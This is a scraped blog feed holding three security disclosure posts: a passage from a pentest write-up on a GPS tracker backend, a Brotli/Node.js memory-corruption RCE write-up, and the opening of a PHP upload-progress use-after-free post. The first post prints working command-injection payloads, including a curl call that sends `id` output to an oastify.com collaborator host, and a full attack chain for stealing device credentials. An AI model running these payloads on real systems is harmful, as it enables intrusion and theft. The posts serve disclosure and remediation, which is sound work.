&lt;p&gt;Anyone with internet access can walk the 4,817 IMEIs from CRIT-3 and harvest every device's credentials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Verify device identity in MSG3, not just IMEI. Provision keys at manufacture, remove the MSG3 fetch endpoint.&lt;/p&gt;




&lt;h2&gt;
  
  
  Finding #6 — CRIT-1: OS Command Injection → Confirmed RCE
&lt;/h2&gt;

&lt;p&gt;The string from the firmware tells the whole story:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;LABEL_SHELL_CMD&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/gtm-label-sync --device-id %s --label "%s"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server calls system() or popen() with the sprintf-constructed string. Double-quotes in shell do not prevent:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"; cmd; # — terminates the argument, runs a new command&lt;/li&gt;
&lt;li&gt;$(cmd) — subshell expansion still executes inside quotes&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The JA3 Bypass
&lt;/h3&gt;

&lt;p&gt;Port 9966 filters TLS connections by JA3 fingerprint. I captured the exact ClientHello from the firmware using strace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;strace &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;trace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;network,write &lt;span class="nt"&gt;-p&lt;/span&gt; 1901 &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/strace.log &amp;amp;
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="nt"&gt;-HUP&lt;/span&gt; 1901
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"write(83"&lt;/span&gt; /tmp/strace.log | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;
write&lt;span class="o"&gt;(&lt;/span&gt;83, &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;16&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;03&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;01&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f1&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;01..."&lt;/span&gt;, 244&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 244
&lt;span class="c"&gt;# Parse cipher suites -&amp;gt; feed into Go TLS config -&amp;gt; identical JA3 hash&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Time-Based Blind Probe
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt; ./gtm_probe label &lt;span class="nt"&gt;--imei&lt;/span&gt; 353406080000001 &lt;span class="nt"&gt;--payload&lt;/span&gt; &lt;span class="s1"&gt;'normal; sleep 5; #'&lt;/span&gt;
real    0m5.231s   &amp;lt;- server delayed by exactly 5 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  OOB DNS Callback — Confirmed RCE
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./gtm_probe label &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--imei&lt;/span&gt; 353406080000001 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--payload&lt;/span&gt; &lt;span class="s1"&gt;'x"; id|base64|tr -d "\n"|xargs -I{} curl -s http://{}.[REDACTED].oastify.com/x; #'&lt;/span&gt;

&lt;span class="c"&gt;# Burp Collaborator received DNS lookup from 86.252.107.154:&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"dWlkPWd0bXN2YyhnZW5lcmljKSBnaWQ9Z3Rtc3ZjKGdlbmVyaWMp..."&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;gtmsvc&lt;span class="o"&gt;(&lt;/span&gt;generic&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;gtmsvc&lt;span class="o"&gt;(&lt;/span&gt;generic&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;gtmsvc&lt;span class="o"&gt;(&lt;/span&gt;generic&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;RCE confirmed&lt;/strong&gt; on the main production API server as service account gtmsvc.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Replace system()/popen() with execve() + explicit argv array. The label never touches a shell.&lt;/p&gt;




&lt;h2&gt;
  
  
  Finding #7 — MED-1: Speed Camera Database, Publicly Available
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;logcat &lt;span class="nt"&gt;-d&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;cameras
I CameraUpdater: Fetching https://[REDACTED]/db/cameras_v20261026.zip

&lt;span class="nv"&gt;$ &lt;/span&gt;unzip &lt;span class="nt"&gt;-p&lt;/span&gt; cameras.zip cameras.json | python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import json,sys; d=json.load(sys.stdin); print(len(d['cameras']))"&lt;/span&gt;
187433
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;187,433 speed camera entries downloadable daily, no auth, predictable filename.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Full Attack Chain — ~4 Minutes, No Prior Access Required
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Step 1 — CRIT-3: Harvest all customer IMEIs from /UPLOAD/ directory listing
$ python3 enum_upload.py
[+] 4817 IMEIs found
                    |
                    v
Step 2 — CRIT-2: Fetch registrationKey for any IMEI via unauthenticated MSG3
$ ./gtm_probe msg3 --imei 353406080000044
registrationKey: a9f2d17bc4e83051[REDACTED]
                    |
                    v
Step 3 — CRIT-1: Send MSG7 with OS command injection using stolen credentials
$ ./gtm_probe label --imei 353406080000044 --key a9f2d17bc4e83051[REDACTED] --payload 'x"; id; #'
[OOB] uid=gtmsvc(generic) gid=gtmsvc(generic)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Remediation Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CRIT-1&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Replace system()/popen() with execve() argv array&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CRIT-2&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Add IMEI ownership verification; provision keys at manufacture&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CRIT-3&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Disable Apache directory listing; use authenticated paths&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HIGH-3&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Signed OTA URLs; hardware-verified firmware integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HIGH-4&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Disable Actuator in prod; isolate management network&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HIGH-5&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Set app dir to 0700; require ADB authorization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MED-1&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Signed, time-limited download tokens for camera DB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Key Lessons
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Device credentials must be secrets, not lookup keys.&lt;/strong&gt; If a credential can be retrieved by supplying only a public identifier (IMEI), it provides no security.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Never interpolate device input into shell commands.&lt;/strong&gt; Use execve(). This class of bug has been well-understood for 30 years.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Segment the device network.&lt;/strong&gt; A GPS tracker reaching Spring Actuator on port 10083 should be impossible by firewall policy, not hope.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Development defaults kill production security.&lt;/strong&gt; ADB without auth, 0777 app directories, and exposed Actuator endpoints are fine for dev. They're catastrophic in shipped hardware.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Disclosure Timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Oct 21, 2026&lt;/strong&gt; — Full report sent to Yanosik&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Oct 23, 2026&lt;/strong&gt; — Acknowledgement received
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Oct 26, 2026&lt;/strong&gt; — Post published&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Adrian · threatvector.tech&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>iot</category>
      <category>hacking</category>
      <category>android</category>
    </item>
    <item>
      <title>Node2Shell: Memory Corruption RCE in Brotli Affecting Node.js</title>
      <dc:creator>syrex1013</dc:creator>
      <pubDate>Sun, 25 Oct 2026 20:43:39 +0000</pubDate>
      <link>https://dev.to/syrex1013/node2shell-memory-corruption-rce-in-brotli-affecting-nodejs-2bph</link>
      <guid>https://dev.to/syrex1013/node2shell-memory-corruption-rce-in-brotli-affecting-nodejs-2bph</guid>
      <description>&lt;h1&gt;
  
  
  Node2Shell: Memory Corruption RCE in Brotli Affecting Node.js
&lt;/h1&gt;

&lt;p&gt;I recently published a proof of concept for &lt;strong&gt;CVE-2026-111497&lt;/strong&gt;, which I’ve been calling &lt;strong&gt;Node2Shell&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The issue is a memory-corruption vulnerability in &lt;strong&gt;brotli 1.2.0&lt;/strong&gt; that affects Node.js releases bundling the vulnerable decoder.&lt;/p&gt;

&lt;p&gt;The interesting part is that this is not an application-level &lt;code&gt;eval()&lt;/code&gt;, &lt;code&gt;execSync()&lt;/code&gt;, child-process misuse, or webhook trick.&lt;/p&gt;

&lt;p&gt;The vulnerability exists lower in the stack, inside the Brotli decoder itself.&lt;/p&gt;

&lt;p&gt;Under the right conditions, corrupted decoder state can eventually redirect execution through a callback path and reach &lt;code&gt;system()&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Affected Node.js Versions
&lt;/h2&gt;

&lt;p&gt;According to the affected ranges identified during testing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Node.js 22.x before 22.23.4&lt;/li&gt;
&lt;li&gt;Node.js 24.x before 24.22.1&lt;/li&gt;
&lt;li&gt;Node.js 26.x before 26.12.1&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The underlying issue originates in the bundled Brotli implementation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Root Cause
&lt;/h2&gt;

&lt;p&gt;One part of the problem is located around &lt;code&gt;DecodeBlockTypeAndLength()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Under specific decoder state conditions, the function returns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;BROTLI_FALSE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important detail is that this value is &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Elsewhere in the decoder, &lt;code&gt;0&lt;/code&gt; overlaps with the numeric value used for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;BROTLI_DECODER_SUCCESS&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;BROTLI_SAFE&lt;/code&gt; handling path interprets that result incorrectly and treats the state as though the decoder simply needs more input.&lt;/p&gt;

&lt;p&gt;The decoder then saves its state around:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;COMMAND_BEGIN
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and re-enters the same path.&lt;/p&gt;

&lt;p&gt;This can result in a persistent CPU loop.&lt;/p&gt;

&lt;p&gt;At this point, the vulnerability already provides a denial-of-service condition.&lt;/p&gt;

&lt;p&gt;But the more interesting behavior appears in another decoder path.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Out-of-Bounds Write
&lt;/h2&gt;

&lt;p&gt;When the decoder reaches a &lt;code&gt;NEEDS_MORE_INPUT&lt;/code&gt; condition while:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;buffer_length == 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;a copy-tail operation runs.&lt;/p&gt;

&lt;p&gt;Conceptually, the relevant code behaves like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buffer_length&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;next_in&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buffer_length&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no effective release-build bounds check protecting the write.&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;BROTLI_DCHECK&lt;/code&gt; exists around some of this logic, but debug assertions do not provide protection in production builds.&lt;/p&gt;

&lt;p&gt;That means decoder-controlled state can cause writes beyond the intended small internal buffer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Input Size Matters
&lt;/h2&gt;

&lt;p&gt;One of the key constraints during exploitation is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BROTLI_FAST_INPUT_SLACK = 28
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Input size changes the decoder path significantly.&lt;/p&gt;

&lt;p&gt;With sufficiently small chunks, the decoder can be forced into a state where command processing exits early with a "need more input" result.&lt;/p&gt;

&lt;p&gt;That feeds execution back into the vulnerable copy-tail logic.&lt;/p&gt;

&lt;p&gt;With larger chunks, the decoder is more likely to fall into the CPU-spin behavior instead.&lt;/p&gt;

&lt;p&gt;In practice, this means the malformed input must be delivered in carefully sized fragments rather than as one large buffer.&lt;/p&gt;

&lt;p&gt;This distinction turned out to be critical while reproducing the issue.&lt;/p&gt;

&lt;h2&gt;
  
  
  Corrupting Decoder State
&lt;/h2&gt;

&lt;p&gt;Once the out-of-bounds write is reachable, the next question is what sits next to the internal buffer.&lt;/p&gt;

&lt;p&gt;The decoder state contains additional fields immediately after it.&lt;/p&gt;

&lt;p&gt;By extending the corruption far enough, an attacker can begin modifying adjacent decoder state, including pointer-sized values and callback-related data.&lt;/p&gt;

&lt;p&gt;One particularly interesting target is the metadata callback state.&lt;/p&gt;

&lt;p&gt;Conceptually, the exploitation chain becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;crafted Brotli stream
        ↓
decoder state confusion
        ↓
NEEDS_MORE_INPUT path
        ↓
out-of-bounds state corruption
        ↓
callback state overwritten
        ↓
controlled callback invocation
        ↓
code execution
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;During testing, the callback path could be redirected so that execution reached &lt;code&gt;system()&lt;/code&gt; with attacker-controlled callback data.&lt;/p&gt;

&lt;p&gt;This produces native process execution without relying on JavaScript execution primitives.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Is Interesting
&lt;/h2&gt;

&lt;p&gt;Most Node.js RCE demonstrations eventually reduce to something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Node2Shell is different.&lt;/p&gt;

&lt;p&gt;The execution path exists below the JavaScript layer.&lt;/p&gt;

&lt;p&gt;The application gives compressed data to the runtime.&lt;/p&gt;

&lt;p&gt;The runtime passes it to Brotli.&lt;/p&gt;

&lt;p&gt;The decoder corrupts its own native state.&lt;/p&gt;

&lt;p&gt;Native control flow is then redirected.&lt;/p&gt;

&lt;p&gt;That makes the bug much closer to a traditional native memory-corruption vulnerability than a typical Node.js application bug.&lt;/p&gt;

&lt;h2&gt;
  
  
  Proof of Concept
&lt;/h2&gt;

&lt;p&gt;I published the proof of concept here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;github.com/syrex1013/CVE-2026-111497-node2shell
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The PoC demonstrates the decoder behavior and the vulnerability chain used during the research.&lt;/p&gt;

&lt;p&gt;A successful test produced native command execution from the affected process.&lt;/p&gt;

&lt;h2&gt;
  
  
  Simplified Vulnerability Chain
&lt;/h2&gt;

&lt;p&gt;The overall chain can be summarized as:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Trigger the problematic Brotli decoder state.&lt;/li&gt;
&lt;li&gt;Force the decoder into the &lt;code&gt;NEEDS_MORE_INPUT&lt;/code&gt; path.&lt;/li&gt;
&lt;li&gt;Deliver input in small fragments.&lt;/li&gt;
&lt;li&gt;Reach the vulnerable copy-tail logic.&lt;/li&gt;
&lt;li&gt;Corrupt adjacent Brotli decoder state.&lt;/li&gt;
&lt;li&gt;Modify callback-related state.&lt;/li&gt;
&lt;li&gt;Trigger the metadata callback.&lt;/li&gt;
&lt;li&gt;Redirect native execution.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The two observable outcomes are therefore closely related:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;malformed stream
     │
     ├── larger input/state path → infinite decoder loop → DoS
     │
     └── chunked input path → memory corruption → native code execution
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Defensive Takeaways
&lt;/h2&gt;

&lt;p&gt;If you operate Node.js services that consume Brotli-compressed input, updating the runtime should be treated as the primary mitigation.&lt;/p&gt;

&lt;p&gt;Additional defensive measures include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;upgrading Node.js to a patched release;&lt;/li&gt;
&lt;li&gt;limiting exposure of Brotli decompression endpoints;&lt;/li&gt;
&lt;li&gt;enforcing request and decompression limits;&lt;/li&gt;
&lt;li&gt;isolating Node.js workloads with containers or sandboxing;&lt;/li&gt;
&lt;li&gt;running services without unnecessary privileges;&lt;/li&gt;
&lt;li&gt;monitoring for abnormal CPU saturation during decompression;&lt;/li&gt;
&lt;li&gt;monitoring crashes or memory-corruption indicators around Brotli processing.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Memory-safety issues in compression libraries are especially important because decompression often happens before application-level validation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Node2Shell is a useful example of why a memory-unsafe dependency deep inside a modern runtime can become security-critical even when the surrounding application code is completely ordinary.&lt;/p&gt;

&lt;p&gt;The vulnerability does not require an obvious JavaScript execution sink.&lt;/p&gt;

&lt;p&gt;Instead, the interesting behavior comes from a combination of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;incorrect decoder-state handling;&lt;/li&gt;
&lt;li&gt;ambiguous return-value semantics;&lt;/li&gt;
&lt;li&gt;release-build assumptions;&lt;/li&gt;
&lt;li&gt;an out-of-bounds write;&lt;/li&gt;
&lt;li&gt;adjacent callback state;&lt;/li&gt;
&lt;li&gt;and precise control over streaming input.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That combination turns what initially looks like a decoder hang into a much more serious native memory-corruption problem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PoC:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;github.com/syrex1013/CVE-2026-111497-node2shell&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;For security research and authorized testing only.&lt;/p&gt;

&lt;h1&gt;
  
  
  nodejs #security #cybersecurity #cve
&lt;/h1&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>node</category>
      <category>security</category>
    </item>
    <item>
      <title>PHP2Shell: Turning a Session Upload-Progress UAF into Unauthenticated RCE (CVE-2026-109618 / CVE-2026-109619)</title>
      <dc:creator>syrex1013</dc:creator>
      <pubDate>Wed, 21 Oct 2026 15:18:18 +0000</pubDate>
      <link>https://dev.to/syrex1013/php2shell-turning-a-session-upload-progress-uaf-into-unauthenticated-rce-cve-2026-109618--30ab</link>
      <guid>https://dev.to/syrex1013/php2shell-turning-a-session-upload-progress-uaf-into-unauthenticated-rce-cve-2026-109618--30ab</guid>
      <description>&lt;p&gt;I published &lt;strong&gt;PHP2Shell&lt;/strong&gt;, a proof-of-concept for two critical PHP vulnerabilities — &lt;strong&gt;CVE-2026-109618&lt;/strong&gt; and &lt;strong&gt;CVE-2026-109619&lt;/strong&gt; — that enable a heap use-after-free in &lt;code&gt;session.upload_progress&lt;/code&gt; and, with the right chain, unauthenticated remote code execution.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;For security research and authorized testing only.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Repo: &lt;a href="https://github.com/syrex1013/php2shell" rel="noopener noreferrer"&gt;github.com/syrex1013/php2shell&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Why this matters
&lt;/h2&gt;

&lt;p&gt;PHP’s multipart upload-progress feature (&lt;code&gt;session.upload_progress&lt;/code&gt;) is enabled by default in many deployments. The bugs sit in &lt;code&gt;ext/session/session.c&lt;/code&gt; and carry a &lt;strong&gt;CVSS 9.2&lt;/strong&gt; rating. They affect a long range of versions:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Branch&lt;/th&gt;
&lt;th&gt;Vulnerable through&lt;/th&gt;
&lt;th&gt;Fixed in&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PHP 8.2&lt;/td&gt;
&lt;td&gt;8.2.34&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8.2.35&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PHP 8.3&lt;/td&gt;
&lt;td&gt;8.3.35&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8.3.36&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PHP 8.4&lt;/td&gt;
&lt;td&gt;8.4.26&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8.4.27&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PHP 8.5&lt;/td&gt;
&lt;td&gt;8.5.11&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8.5.12&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PHP ≤ 8.1&lt;/td&gt;
&lt;td&gt;all&lt;/td&gt;
&lt;td&gt;no backport — EOL&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If you still run anything at or below those “vulnerable through” lines — especially EOL 8.1 and older — you should treat this as urgent.&lt;/p&gt;




&lt;h2&gt;
  
  
  Background: the two CVEs
&lt;/h2&gt;

&lt;p&gt;Both issues are &lt;strong&gt;heap use-after-free&lt;/strong&gt; bugs in the rfc1867 upload-progress handler.&lt;/p&gt;

&lt;p&gt;The handler caches raw &lt;code&gt;zval*&lt;/code&gt; pointers into the session HashTable (&lt;code&gt;arData&lt;/code&gt;). When a multipart upload stalls longer than &lt;code&gt;session.upload_progress.min_freq&lt;/code&gt; (default &lt;strong&gt;1 second&lt;/strong&gt;), a later &lt;code&gt;FILE_DATA&lt;/code&gt; event re-enters session init and &lt;strong&gt;frees that HashTable&lt;/strong&gt;. The cached pointers then point at freed memory. The next write (storing &lt;code&gt;bytes_processed&lt;/code&gt; via &lt;code&gt;ZVAL_LONG&lt;/code&gt;) goes through those stale pointers.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Stale pointer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE-2026-109618&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;post_bytes_processed&lt;/code&gt; (session.c ~3292)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE-2026-109619&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;current_file_bytes_processed&lt;/code&gt; (session.c ~3318)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

